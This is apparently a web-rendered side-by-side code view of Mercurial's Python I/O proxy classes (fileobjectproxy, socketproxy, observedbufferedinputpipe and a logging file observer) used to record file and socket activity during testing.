439 | '_orig', |
|
439 | '_orig', | |
440 | '_observer', |
|
440 | '_observer', | |
441 | ) |
|
441 | ) | |
442 |
|
442 | |||
443 | def __init__(self, fh, observer): |
|
443 | def __init__(self, fh, observer): | |
444 | object.__setattr__(self, '_orig', fh) |
|
444 | object.__setattr__(self, '_orig', fh) | |
445 | object.__setattr__(self, '_observer', observer) |
|
445 | object.__setattr__(self, '_observer', observer) | |
446 |
|
446 | |||
447 | def __getattribute__(self, name): |
|
447 | def __getattribute__(self, name): | |
448 | ours = { |
|
448 | ours = { | |
449 | '_observer', |
|
449 | '_observer', | |
450 | # IOBase |
|
450 | # IOBase | |
451 | 'close', |
|
451 | 'close', | |
452 | # closed if a property |
|
452 | # closed if a property | |
453 | 'fileno', |
|
453 | 'fileno', | |
454 | 'flush', |
|
454 | 'flush', | |
455 | 'isatty', |
|
455 | 'isatty', | |
456 | 'readable', |
|
456 | 'readable', | |
457 | 'readline', |
|
457 | 'readline', | |
458 | 'readlines', |
|
458 | 'readlines', | |
459 | 'seek', |
|
459 | 'seek', | |
460 | 'seekable', |
|
460 | 'seekable', | |
461 | 'tell', |
|
461 | 'tell', | |
462 | 'truncate', |
|
462 | 'truncate', | |
463 | 'writable', |
|
463 | 'writable', | |
464 | 'writelines', |
|
464 | 'writelines', | |
465 | # RawIOBase |
|
465 | # RawIOBase | |
466 | 'read', |
|
466 | 'read', | |
467 | 'readall', |
|
467 | 'readall', | |
468 | 'readinto', |
|
468 | 'readinto', | |
469 | 'write', |
|
469 | 'write', | |
470 | # BufferedIOBase |
|
470 | # BufferedIOBase | |
471 | # raw is a property |
|
471 | # raw is a property | |
472 | 'detach', |
|
472 | 'detach', | |
473 | # read defined above |
|
473 | # read defined above | |
474 | 'read1', |
|
474 | 'read1', | |
475 | # readinto defined above |
|
475 | # readinto defined above | |
476 | # write defined above |
|
476 | # write defined above | |
477 | } |
|
477 | } | |
478 |
|
478 | |||
479 | # We only observe some methods. |
|
479 | # We only observe some methods. | |
480 | if name in ours: |
|
480 | if name in ours: | |
481 | return object.__getattribute__(self, name) |
|
481 | return object.__getattribute__(self, name) | |
482 |
|
482 | |||
483 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
483 | return getattr(object.__getattribute__(self, '_orig'), name) | |
484 |
|
484 | |||
485 | def __nonzero__(self): |
|
485 | def __nonzero__(self): | |
486 | return bool(object.__getattribute__(self, '_orig')) |
|
486 | return bool(object.__getattribute__(self, '_orig')) | |
487 |
|
487 | |||
488 | __bool__ = __nonzero__ |
|
488 | __bool__ = __nonzero__ | |
489 |
|
489 | |||
490 | def __delattr__(self, name): |
|
490 | def __delattr__(self, name): | |
491 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
491 | return delattr(object.__getattribute__(self, '_orig'), name) | |
492 |
|
492 | |||
493 | def __setattr__(self, name, value): |
|
493 | def __setattr__(self, name, value): | |
494 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
494 | return setattr(object.__getattribute__(self, '_orig'), name, value) | |
495 |
|
495 | |||
496 | def __iter__(self): |
|
496 | def __iter__(self): | |
497 | return object.__getattribute__(self, '_orig').__iter__() |
|
497 | return object.__getattribute__(self, '_orig').__iter__() | |
498 |
|
498 | |||
499 | def _observedcall(self, name, *args, **kwargs): |
|
499 | def _observedcall(self, name, *args, **kwargs): | |
500 | # Call the original object. |
|
500 | # Call the original object. | |
501 | orig = object.__getattribute__(self, '_orig') |
|
501 | orig = object.__getattribute__(self, '_orig') | |
502 | res = getattr(orig, name)(*args, **kwargs) |
|
502 | res = getattr(orig, name)(*args, **kwargs) | |
503 |
|
503 | |||
504 | # Call a method on the observer of the same name with arguments |
|
504 | # Call a method on the observer of the same name with arguments | |
505 | # so it can react, log, etc. |
|
505 | # so it can react, log, etc. | |
506 | observer = object.__getattribute__(self, '_observer') |
|
506 | observer = object.__getattribute__(self, '_observer') | |
507 | fn = getattr(observer, name, None) |
|
507 | fn = getattr(observer, name, None) | |
508 | if fn: |
|
508 | if fn: | |
509 | fn(res, *args, **kwargs) |
|
509 | fn(res, *args, **kwargs) | |
510 |
|
510 | |||
511 | return res |
|
511 | return res | |
512 |
|
512 | |||
513 | def close(self, *args, **kwargs): |
|
513 | def close(self, *args, **kwargs): | |
514 | return object.__getattribute__(self, '_observedcall')( |
|
514 | return object.__getattribute__(self, '_observedcall')( | |
515 | 'close', *args, **kwargs |
|
515 | 'close', *args, **kwargs | |
516 | ) |
|
516 | ) | |
517 |
|
517 | |||
518 | def fileno(self, *args, **kwargs): |
|
518 | def fileno(self, *args, **kwargs): | |
519 | return object.__getattribute__(self, '_observedcall')( |
|
519 | return object.__getattribute__(self, '_observedcall')( | |
520 | 'fileno', *args, **kwargs |
|
520 | 'fileno', *args, **kwargs | |
521 | ) |
|
521 | ) | |
522 |
|
522 | |||
523 | def flush(self, *args, **kwargs): |
|
523 | def flush(self, *args, **kwargs): | |
524 | return object.__getattribute__(self, '_observedcall')( |
|
524 | return object.__getattribute__(self, '_observedcall')( | |
525 | 'flush', *args, **kwargs |
|
525 | 'flush', *args, **kwargs | |
526 | ) |
|
526 | ) | |
527 |
|
527 | |||
528 | def isatty(self, *args, **kwargs): |
|
528 | def isatty(self, *args, **kwargs): | |
529 | return object.__getattribute__(self, '_observedcall')( |
|
529 | return object.__getattribute__(self, '_observedcall')( | |
530 | 'isatty', *args, **kwargs |
|
530 | 'isatty', *args, **kwargs | |
531 | ) |
|
531 | ) | |
532 |
|
532 | |||
533 | def readable(self, *args, **kwargs): |
|
533 | def readable(self, *args, **kwargs): | |
534 | return object.__getattribute__(self, '_observedcall')( |
|
534 | return object.__getattribute__(self, '_observedcall')( | |
535 | 'readable', *args, **kwargs |
|
535 | 'readable', *args, **kwargs | |
536 | ) |
|
536 | ) | |
537 |
|
537 | |||
538 | def readline(self, *args, **kwargs): |
|
538 | def readline(self, *args, **kwargs): | |
539 | return object.__getattribute__(self, '_observedcall')( |
|
539 | return object.__getattribute__(self, '_observedcall')( | |
540 | 'readline', *args, **kwargs |
|
540 | 'readline', *args, **kwargs | |
541 | ) |
|
541 | ) | |
542 |
|
542 | |||
543 | def readlines(self, *args, **kwargs): |
|
543 | def readlines(self, *args, **kwargs): | |
544 | return object.__getattribute__(self, '_observedcall')( |
|
544 | return object.__getattribute__(self, '_observedcall')( | |
545 | 'readlines', *args, **kwargs |
|
545 | 'readlines', *args, **kwargs | |
546 | ) |
|
546 | ) | |
547 |
|
547 | |||
548 | def seek(self, *args, **kwargs): |
|
548 | def seek(self, *args, **kwargs): | |
549 | return object.__getattribute__(self, '_observedcall')( |
|
549 | return object.__getattribute__(self, '_observedcall')( | |
550 | 'seek', *args, **kwargs |
|
550 | 'seek', *args, **kwargs | |
551 | ) |
|
551 | ) | |
552 |
|
552 | |||
553 | def seekable(self, *args, **kwargs): |
|
553 | def seekable(self, *args, **kwargs): | |
554 | return object.__getattribute__(self, '_observedcall')( |
|
554 | return object.__getattribute__(self, '_observedcall')( | |
555 | 'seekable', *args, **kwargs |
|
555 | 'seekable', *args, **kwargs | |
556 | ) |
|
556 | ) | |
557 |
|
557 | |||
558 | def tell(self, *args, **kwargs): |
|
558 | def tell(self, *args, **kwargs): | |
559 | return object.__getattribute__(self, '_observedcall')( |
|
559 | return object.__getattribute__(self, '_observedcall')( | |
560 | 'tell', *args, **kwargs |
|
560 | 'tell', *args, **kwargs | |
561 | ) |
|
561 | ) | |
562 |
|
562 | |||
563 | def truncate(self, *args, **kwargs): |
|
563 | def truncate(self, *args, **kwargs): | |
564 | return object.__getattribute__(self, '_observedcall')( |
|
564 | return object.__getattribute__(self, '_observedcall')( | |
565 | 'truncate', *args, **kwargs |
|
565 | 'truncate', *args, **kwargs | |
566 | ) |
|
566 | ) | |
567 |
|
567 | |||
568 | def writable(self, *args, **kwargs): |
|
568 | def writable(self, *args, **kwargs): | |
569 | return object.__getattribute__(self, '_observedcall')( |
|
569 | return object.__getattribute__(self, '_observedcall')( | |
570 | 'writable', *args, **kwargs |
|
570 | 'writable', *args, **kwargs | |
571 | ) |
|
571 | ) | |
572 |
|
572 | |||
573 | def writelines(self, *args, **kwargs): |
|
573 | def writelines(self, *args, **kwargs): | |
574 | return object.__getattribute__(self, '_observedcall')( |
|
574 | return object.__getattribute__(self, '_observedcall')( | |
575 | 'writelines', *args, **kwargs |
|
575 | 'writelines', *args, **kwargs | |
576 | ) |
|
576 | ) | |
577 |
|
577 | |||
578 | def read(self, *args, **kwargs): |
|
578 | def read(self, *args, **kwargs): | |
579 | return object.__getattribute__(self, '_observedcall')( |
|
579 | return object.__getattribute__(self, '_observedcall')( | |
580 | 'read', *args, **kwargs |
|
580 | 'read', *args, **kwargs | |
581 | ) |
|
581 | ) | |
582 |
|
582 | |||
583 | def readall(self, *args, **kwargs): |
|
583 | def readall(self, *args, **kwargs): | |
584 | return object.__getattribute__(self, '_observedcall')( |
|
584 | return object.__getattribute__(self, '_observedcall')( | |
585 | 'readall', *args, **kwargs |
|
585 | 'readall', *args, **kwargs | |
586 | ) |
|
586 | ) | |
587 |
|
587 | |||
588 | def readinto(self, *args, **kwargs): |
|
588 | def readinto(self, *args, **kwargs): | |
589 | return object.__getattribute__(self, '_observedcall')( |
|
589 | return object.__getattribute__(self, '_observedcall')( | |
590 | 'readinto', *args, **kwargs |
|
590 | 'readinto', *args, **kwargs | |
591 | ) |
|
591 | ) | |
592 |
|
592 | |||
593 | def write(self, *args, **kwargs): |
|
593 | def write(self, *args, **kwargs): | |
594 | return object.__getattribute__(self, '_observedcall')( |
|
594 | return object.__getattribute__(self, '_observedcall')( | |
595 | 'write', *args, **kwargs |
|
595 | 'write', *args, **kwargs | |
596 | ) |
|
596 | ) | |
597 |
|
597 | |||
598 | def detach(self, *args, **kwargs): |
|
598 | def detach(self, *args, **kwargs): | |
599 | return object.__getattribute__(self, '_observedcall')( |
|
599 | return object.__getattribute__(self, '_observedcall')( | |
600 | 'detach', *args, **kwargs |
|
600 | 'detach', *args, **kwargs | |
601 | ) |
|
601 | ) | |
602 |
|
602 | |||
603 | def read1(self, *args, **kwargs): |
|
603 | def read1(self, *args, **kwargs): | |
604 | return object.__getattribute__(self, '_observedcall')( |
|
604 | return object.__getattribute__(self, '_observedcall')( | |
605 | 'read1', *args, **kwargs |
|
605 | 'read1', *args, **kwargs | |
606 | ) |
|
606 | ) | |
607 |
|
607 | |||
608 |
|
608 | |||
609 | class observedbufferedinputpipe(bufferedinputpipe): |
|
609 | class observedbufferedinputpipe(bufferedinputpipe): | |
610 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
|
610 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. | |
611 |
|
611 | |||
612 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
|
612 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that | |
613 | bypass ``fileobjectproxy``. Because of this, we need to make |
|
613 | bypass ``fileobjectproxy``. Because of this, we need to make | |
614 | ``bufferedinputpipe`` aware of these operations. |
|
614 | ``bufferedinputpipe`` aware of these operations. | |
615 |
|
615 | |||
616 | This variation of ``bufferedinputpipe`` can notify observers about |
|
616 | This variation of ``bufferedinputpipe`` can notify observers about | |
617 | ``os.read()`` events. It also re-publishes other events, such as |
|
617 | ``os.read()`` events. It also re-publishes other events, such as | |
618 | ``read()`` and ``readline()``. |
|
618 | ``read()`` and ``readline()``. | |
619 | """ |
|
619 | """ | |
620 |
|
620 | |||
621 | def _fillbuffer(self): |
|
621 | def _fillbuffer(self): | |
622 | res = super(observedbufferedinputpipe, self)._fillbuffer() |
|
622 | res = super(observedbufferedinputpipe, self)._fillbuffer() | |
623 |
|
623 | |||
624 | fn = getattr(self._input._observer, 'osread', None) |
|
624 | fn = getattr(self._input._observer, 'osread', None) | |
625 | if fn: |
|
625 | if fn: | |
626 | fn(res, _chunksize) |
|
626 | fn(res, _chunksize) | |
627 |
|
627 | |||
628 | return res |
|
628 | return res | |
629 |
|
629 | |||
630 | # We use different observer methods because the operation isn't |
|
630 | # We use different observer methods because the operation isn't | |
631 | # performed on the actual file object but on us. |
|
631 | # performed on the actual file object but on us. | |
632 | def read(self, size): |
|
632 | def read(self, size): | |
633 | res = super(observedbufferedinputpipe, self).read(size) |
|
633 | res = super(observedbufferedinputpipe, self).read(size) | |
634 |
|
634 | |||
635 | fn = getattr(self._input._observer, 'bufferedread', None) |
|
635 | fn = getattr(self._input._observer, 'bufferedread', None) | |
636 | if fn: |
|
636 | if fn: | |
637 | fn(res, size) |
|
637 | fn(res, size) | |
638 |
|
638 | |||
639 | return res |
|
639 | return res | |
640 |
|
640 | |||
641 | def readline(self, *args, **kwargs): |
|
641 | def readline(self, *args, **kwargs): | |
642 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
|
642 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) | |
643 |
|
643 | |||
644 | fn = getattr(self._input._observer, 'bufferedreadline', None) |
|
644 | fn = getattr(self._input._observer, 'bufferedreadline', None) | |
645 | if fn: |
|
645 | if fn: | |
646 | fn(res) |
|
646 | fn(res) | |
647 |
|
647 | |||
648 | return res |
|
648 | return res | |
649 |
|
649 | |||
650 |
|
650 | |||
651 | PROXIED_SOCKET_METHODS = { |
|
651 | PROXIED_SOCKET_METHODS = { | |
652 | 'makefile', |
|
652 | 'makefile', | |
653 | 'recv', |
|
653 | 'recv', | |
654 | 'recvfrom', |
|
654 | 'recvfrom', | |
655 | 'recvfrom_into', |
|
655 | 'recvfrom_into', | |
656 | 'recv_into', |
|
656 | 'recv_into', | |
657 | 'send', |
|
657 | 'send', | |
658 | 'sendall', |
|
658 | 'sendall', | |
659 | 'sendto', |
|
659 | 'sendto', | |
660 | 'setblocking', |
|
660 | 'setblocking', | |
661 | 'settimeout', |
|
661 | 'settimeout', | |
662 | 'gettimeout', |
|
662 | 'gettimeout', | |
663 | 'setsockopt', |
|
663 | 'setsockopt', | |
664 | } |
|
664 | } | |
665 |
|
665 | |||
666 |
|
666 | |||
667 | class socketproxy(object): |
|
667 | class socketproxy(object): | |
668 | """A proxy around a socket that tells a watcher when events occur. |
|
668 | """A proxy around a socket that tells a watcher when events occur. | |
669 |
|
669 | |||
670 | This is like ``fileobjectproxy`` except for sockets. |
|
670 | This is like ``fileobjectproxy`` except for sockets. | |
671 |
|
671 | |||
672 | This type is intended to only be used for testing purposes. Think hard |
|
672 | This type is intended to only be used for testing purposes. Think hard | |
673 | before using it in important code. |
|
673 | before using it in important code. | |
674 | """ |
|
674 | """ | |
675 |
|
675 | |||
676 | __slots__ = ( |
|
676 | __slots__ = ( | |
677 | '_orig', |
|
677 | '_orig', | |
678 | '_observer', |
|
678 | '_observer', | |
679 | ) |
|
679 | ) | |
680 |
|
680 | |||
681 | def __init__(self, sock, observer): |
|
681 | def __init__(self, sock, observer): | |
682 | object.__setattr__(self, '_orig', sock) |
|
682 | object.__setattr__(self, '_orig', sock) | |
683 | object.__setattr__(self, '_observer', observer) |
|
683 | object.__setattr__(self, '_observer', observer) | |
684 |
|
684 | |||
685 | def __getattribute__(self, name): |
|
685 | def __getattribute__(self, name): | |
686 | if name in PROXIED_SOCKET_METHODS: |
|
686 | if name in PROXIED_SOCKET_METHODS: | |
687 | return object.__getattribute__(self, name) |
|
687 | return object.__getattribute__(self, name) | |
688 |
|
688 | |||
689 | return getattr(object.__getattribute__(self, '_orig'), name) |
|
689 | return getattr(object.__getattribute__(self, '_orig'), name) | |
690 |
|
690 | |||
691 | def __delattr__(self, name): |
|
691 | def __delattr__(self, name): | |
692 | return delattr(object.__getattribute__(self, '_orig'), name) |
|
692 | return delattr(object.__getattribute__(self, '_orig'), name) | |
693 |
|
693 | |||
694 | def __setattr__(self, name, value): |
|
694 | def __setattr__(self, name, value): | |
695 | return setattr(object.__getattribute__(self, '_orig'), name, value) |
|
695 | return setattr(object.__getattribute__(self, '_orig'), name, value) | |
696 |
|
696 | |||
697 | def __nonzero__(self): |
|
697 | def __nonzero__(self): | |
698 | return bool(object.__getattribute__(self, '_orig')) |
|
698 | return bool(object.__getattribute__(self, '_orig')) | |
699 |
|
699 | |||
700 | __bool__ = __nonzero__ |
|
700 | __bool__ = __nonzero__ | |
701 |
|
701 | |||
702 | def _observedcall(self, name, *args, **kwargs): |
|
702 | def _observedcall(self, name, *args, **kwargs): | |
703 | # Call the original object. |
|
703 | # Call the original object. | |
704 | orig = object.__getattribute__(self, '_orig') |
|
704 | orig = object.__getattribute__(self, '_orig') | |
705 | res = getattr(orig, name)(*args, **kwargs) |
|
705 | res = getattr(orig, name)(*args, **kwargs) | |
706 |
|
706 | |||
707 | # Call a method on the observer of the same name with arguments |
|
707 | # Call a method on the observer of the same name with arguments | |
708 | # so it can react, log, etc. |
|
708 | # so it can react, log, etc. | |
709 | observer = object.__getattribute__(self, '_observer') |
|
709 | observer = object.__getattribute__(self, '_observer') | |
710 | fn = getattr(observer, name, None) |
|
710 | fn = getattr(observer, name, None) | |
711 | if fn: |
|
711 | if fn: | |
712 | fn(res, *args, **kwargs) |
|
712 | fn(res, *args, **kwargs) | |
713 |
|
713 | |||
714 | return res |
|
714 | return res | |
715 |
|
715 | |||
716 | def makefile(self, *args, **kwargs): |
|
716 | def makefile(self, *args, **kwargs): | |
717 | res = object.__getattribute__(self, '_observedcall')( |
|
717 | res = object.__getattribute__(self, '_observedcall')( | |
718 | 'makefile', *args, **kwargs |
|
718 | 'makefile', *args, **kwargs | |
719 | ) |
|
719 | ) | |
720 |
|
720 | |||
721 | # The file object may be used for I/O. So we turn it into a |
|
721 | # The file object may be used for I/O. So we turn it into a | |
722 | # proxy using our observer. |
|
722 | # proxy using our observer. | |
723 | observer = object.__getattribute__(self, '_observer') |
|
723 | observer = object.__getattribute__(self, '_observer') | |
724 | return makeloggingfileobject( |
|
724 | return makeloggingfileobject( | |
725 | observer.fh, |
|
725 | observer.fh, | |
726 | res, |
|
726 | res, | |
727 | observer.name, |
|
727 | observer.name, | |
728 | reads=observer.reads, |
|
728 | reads=observer.reads, | |
729 | writes=observer.writes, |
|
729 | writes=observer.writes, | |
730 | logdata=observer.logdata, |
|
730 | logdata=observer.logdata, | |
731 | logdataapis=observer.logdataapis, |
|
731 | logdataapis=observer.logdataapis, | |
732 | ) |
|
732 | ) | |
733 |
|
733 | |||
734 | def recv(self, *args, **kwargs): |
|
734 | def recv(self, *args, **kwargs): | |
735 | return object.__getattribute__(self, '_observedcall')( |
|
735 | return object.__getattribute__(self, '_observedcall')( | |
736 | 'recv', *args, **kwargs |
|
736 | 'recv', *args, **kwargs | |
737 | ) |
|
737 | ) | |
738 |
|
738 | |||
739 | def recvfrom(self, *args, **kwargs): |
|
739 | def recvfrom(self, *args, **kwargs): | |
740 | return object.__getattribute__(self, '_observedcall')( |
|
740 | return object.__getattribute__(self, '_observedcall')( | |
741 | 'recvfrom', *args, **kwargs |
|
741 | 'recvfrom', *args, **kwargs | |
742 | ) |
|
742 | ) | |
743 |
|
743 | |||
744 | def recvfrom_into(self, *args, **kwargs): |
|
744 | def recvfrom_into(self, *args, **kwargs): | |
745 | return object.__getattribute__(self, '_observedcall')( |
|
745 | return object.__getattribute__(self, '_observedcall')( | |
746 | 'recvfrom_into', *args, **kwargs |
|
746 | 'recvfrom_into', *args, **kwargs | |
747 | ) |
|
747 | ) | |
748 |
|
748 | |||
749 | def recv_into(self, *args, **kwargs): |
|
749 | def recv_into(self, *args, **kwargs): | |
750 | return object.__getattribute__(self, '_observedcall')( |
|
750 | return object.__getattribute__(self, '_observedcall')( | |
751 | 'recv_info', *args, **kwargs |
|
751 | 'recv_info', *args, **kwargs | |
752 | ) |
|
752 | ) | |
753 |
|
753 | |||
754 | def send(self, *args, **kwargs): |
|
754 | def send(self, *args, **kwargs): | |
755 | return object.__getattribute__(self, '_observedcall')( |
|
755 | return object.__getattribute__(self, '_observedcall')( | |
756 | 'send', *args, **kwargs |
|
756 | 'send', *args, **kwargs | |
757 | ) |
|
757 | ) | |
758 |
|
758 | |||
759 | def sendall(self, *args, **kwargs): |
|
759 | def sendall(self, *args, **kwargs): | |
760 | return object.__getattribute__(self, '_observedcall')( |
|
760 | return object.__getattribute__(self, '_observedcall')( | |
761 | 'sendall', *args, **kwargs |
|
761 | 'sendall', *args, **kwargs | |
762 | ) |
|
762 | ) | |
763 |
|
763 | |||
764 | def sendto(self, *args, **kwargs): |
|
764 | def sendto(self, *args, **kwargs): | |
765 | return object.__getattribute__(self, '_observedcall')( |
|
765 | return object.__getattribute__(self, '_observedcall')( | |
766 | 'sendto', *args, **kwargs |
|
766 | 'sendto', *args, **kwargs | |
767 | ) |
|
767 | ) | |
768 |
|
768 | |||
769 | def setblocking(self, *args, **kwargs): |
|
769 | def setblocking(self, *args, **kwargs): | |
770 | return object.__getattribute__(self, '_observedcall')( |
|
770 | return object.__getattribute__(self, '_observedcall')( | |
771 | 'setblocking', *args, **kwargs |
|
771 | 'setblocking', *args, **kwargs | |
772 | ) |
|
772 | ) | |
773 |
|
773 | |||
774 | def settimeout(self, *args, **kwargs): |
|
774 | def settimeout(self, *args, **kwargs): | |
775 | return object.__getattribute__(self, '_observedcall')( |
|
775 | return object.__getattribute__(self, '_observedcall')( | |
776 | 'settimeout', *args, **kwargs |
|
776 | 'settimeout', *args, **kwargs | |
777 | ) |
|
777 | ) | |
778 |
|
778 | |||
779 | def gettimeout(self, *args, **kwargs): |
|
779 | def gettimeout(self, *args, **kwargs): | |
780 | return object.__getattribute__(self, '_observedcall')( |
|
780 | return object.__getattribute__(self, '_observedcall')( | |
781 | 'gettimeout', *args, **kwargs |
|
781 | 'gettimeout', *args, **kwargs | |
782 | ) |
|
782 | ) | |
783 |
|
783 | |||
784 | def setsockopt(self, *args, **kwargs): |
|
784 | def setsockopt(self, *args, **kwargs): | |
785 | return object.__getattribute__(self, '_observedcall')( |
|
785 | return object.__getattribute__(self, '_observedcall')( | |
786 | 'setsockopt', *args, **kwargs |
|
786 | 'setsockopt', *args, **kwargs | |
787 | ) |
|
787 | ) | |
788 |
|
788 | |||
789 |
|
789 | |||
790 | class baseproxyobserver(object): |
|
790 | class baseproxyobserver(object): | |
791 | def _writedata(self, data): |
|
791 | def _writedata(self, data): | |
792 | if not self.logdata: |
|
792 | if not self.logdata: | |
793 | if self.logdataapis: |
|
793 | if self.logdataapis: | |
794 | self.fh.write(b'\n') |
|
794 | self.fh.write(b'\n') | |
795 | self.fh.flush() |
|
795 | self.fh.flush() | |
796 | return |
|
796 | return | |
797 |
|
797 | |||
798 | # Simple case writes all data on a single line. |
|
798 | # Simple case writes all data on a single line. | |
799 | if b'\n' not in data: |
|
799 | if b'\n' not in data: | |
800 | if self.logdataapis: |
|
800 | if self.logdataapis: | |
801 | self.fh.write(b': %s\n' % stringutil.escapestr(data)) |
|
801 | self.fh.write(b': %s\n' % stringutil.escapestr(data)) | |
802 | else: |
|
802 | else: | |
803 | self.fh.write( |
|
803 | self.fh.write( | |
804 | b'%s> %s\n' % (self.name, stringutil.escapestr(data)) |
|
804 | b'%s> %s\n' % (self.name, stringutil.escapestr(data)) | |
805 | ) |
|
805 | ) | |
806 | self.fh.flush() |
|
806 | self.fh.flush() | |
807 | return |
|
807 | return | |
808 |
|
808 | |||
809 | # Data with newlines is written to multiple lines. |
|
809 | # Data with newlines is written to multiple lines. | |
810 | if self.logdataapis: |
|
810 | if self.logdataapis: | |
811 | self.fh.write(b':\n') |
|
811 | self.fh.write(b':\n') | |
812 |
|
812 | |||
813 | lines = data.splitlines(True) |
|
813 | lines = data.splitlines(True) | |
814 | for line in lines: |
|
814 | for line in lines: | |
815 | self.fh.write( |
|
815 | self.fh.write( | |
816 | b'%s> %s\n' % (self.name, stringutil.escapestr(line)) |
|
816 | b'%s> %s\n' % (self.name, stringutil.escapestr(line)) | |
817 | ) |
|
817 | ) | |
818 | self.fh.flush() |
|
818 | self.fh.flush() | |
819 |
|
819 | |||
820 |
|
820 | |||
821 | class fileobjectobserver(baseproxyobserver): |
|
821 | class fileobjectobserver(baseproxyobserver): | |
822 | """Logs file object activity.""" |
|
822 | """Logs file object activity.""" | |
823 |
|
823 | |||
824 | def __init__( |
|
824 | def __init__( | |
825 | self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True |
|
825 | self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True | |
826 | ): |
|
826 | ): | |
827 | self.fh = fh |
|
827 | self.fh = fh | |
828 | self.name = name |
|
828 | self.name = name | |
829 | self.logdata = logdata |
|
829 | self.logdata = logdata | |
830 | self.logdataapis = logdataapis |
|
830 | self.logdataapis = logdataapis | |
831 | self.reads = reads |
|
831 | self.reads = reads | |
832 | self.writes = writes |
|
832 | self.writes = writes | |
833 |
|
833 | |||
834 | def read(self, res, size=-1): |
|
834 | def read(self, res, size=-1): | |
835 | if not self.reads: |
|
835 | if not self.reads: | |
836 | return |
|
836 | return | |
837 | # Python 3 can return None from reads at EOF instead of empty strings. |
|
837 | # Python 3 can return None from reads at EOF instead of empty strings. | |
838 | if res is None: |
|
838 | if res is None: | |
839 | res = b'' |
|
839 | res = b'' | |
840 |
|
840 | |||
841 | if size == -1 and res == b'': |
|
841 | if size == -1 and res == b'': | |
842 | # Suppress pointless read(-1) calls that return |
|
842 | # Suppress pointless read(-1) calls that return | |
843 | # nothing. These happen _a lot_ on Python 3, and there |
|
843 | # nothing. These happen _a lot_ on Python 3, and there | |
844 | # doesn't seem to be a better workaround to have matching |
|
844 | # doesn't seem to be a better workaround to have matching | |
845 | # Python 2 and 3 behavior. :( |
|
845 | # Python 2 and 3 behavior. :( | |
846 | return |
|
846 | return | |
847 |
|
847 | |||
848 | if self.logdataapis: |
|
848 | if self.logdataapis: | |
849 | self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) |
|
849 | self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res))) | |
850 |
|
850 | |||
851 | self._writedata(res) |
|
851 | self._writedata(res) | |
852 |
|
852 | |||
853 | def readline(self, res, limit=-1): |
|
853 | def readline(self, res, limit=-1): | |
854 | if not self.reads: |
|
854 | if not self.reads: | |
855 | return |
|
855 | return | |
856 |
|
856 | |||
857 | if self.logdataapis: |
|
857 | if self.logdataapis: | |
858 | self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) |
|
858 | self.fh.write(b'%s> readline() -> %d' % (self.name, len(res))) | |
859 |
|
859 | |||
860 | self._writedata(res) |
|
860 | self._writedata(res) | |
861 |
|
861 | |||
862 | def readinto(self, res, dest): |
|
862 | def readinto(self, res, dest): | |
863 | if not self.reads: |
|
863 | if not self.reads: | |
864 | return |
|
864 | return | |
865 |
|
865 | |||
866 | if self.logdataapis: |
|
866 | if self.logdataapis: | |
867 | self.fh.write( |
|
867 | self.fh.write( | |
868 | b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) |
|
868 | b'%s> readinto(%d) -> %r' % (self.name, len(dest), res) | |
869 | ) |
|
869 | ) | |
870 |
|
870 | |||
871 | data = dest[0:res] if res is not None else b'' |
|
871 | data = dest[0:res] if res is not None else b'' | |
872 |
|
872 | |||
873 | # _writedata() uses "in" operator and is confused by memoryview because |
|
873 | # _writedata() uses "in" operator and is confused by memoryview because | |
874 | # characters are ints on Python 3. |
|
874 | # characters are ints on Python 3. | |
875 | if isinstance(data, memoryview): |
|
875 | if isinstance(data, memoryview): | |
876 | data = data.tobytes() |
|
876 | data = data.tobytes() | |
877 |
|
877 | |||
878 | self._writedata(data) |
|
878 | self._writedata(data) | |
879 |
|
879 | |||
880 | def write(self, res, data): |
|
880 | def write(self, res, data): | |
881 | if not self.writes: |
|
881 | if not self.writes: | |
882 | return |
|
882 | return | |
883 |
|
883 | |||
884 | # Python 2 returns None from some write() calls. Python 3 (reasonably) |
|
884 | # Python 2 returns None from some write() calls. Python 3 (reasonably) | |
885 | # returns the integer bytes written. |
|
885 | # returns the integer bytes written. | |
886 | if res is None and data: |
|
886 | if res is None and data: | |
887 | res = len(data) |
|
887 | res = len(data) | |
888 |
|
888 | |||
889 | if self.logdataapis: |
|
889 | if self.logdataapis: | |
890 | self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) |
|
890 | self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res)) | |
891 |
|
891 | |||
892 | self._writedata(data) |
|
892 | self._writedata(data) | |
893 |
|
893 | |||
894 | def flush(self, res): |
|
894 | def flush(self, res): | |
895 | if not self.writes: |
|
895 | if not self.writes: | |
896 | return |
|
896 | return | |
897 |
|
897 | |||
898 | self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) |
|
898 | self.fh.write(b'%s> flush() -> %r\n' % (self.name, res)) | |
899 |
|
899 | |||
900 | # For observedbufferedinputpipe. |
|
900 | # For observedbufferedinputpipe. | |
901 | def bufferedread(self, res, size): |
|
901 | def bufferedread(self, res, size): | |
902 | if not self.reads: |
|
902 | if not self.reads: | |
903 | return |
|
903 | return | |
904 |
|
904 | |||
905 | if self.logdataapis: |
|
905 | if self.logdataapis: | |
906 | self.fh.write( |
|
906 | self.fh.write( | |
907 | b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) |
|
907 | b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res)) | |
908 | ) |
|
908 | ) | |
909 |
|
909 | |||
910 | self._writedata(res) |
|
910 | self._writedata(res) | |
911 |
|
911 | |||
912 | def bufferedreadline(self, res): |
|
912 | def bufferedreadline(self, res): | |
913 | if not self.reads: |
|
913 | if not self.reads: | |
914 | return |
|
914 | return | |
915 |
|
915 | |||
916 | if self.logdataapis: |
|
916 | if self.logdataapis: | |
917 | self.fh.write( |
|
917 | self.fh.write( | |
918 | b'%s> bufferedreadline() -> %d' % (self.name, len(res)) |
|
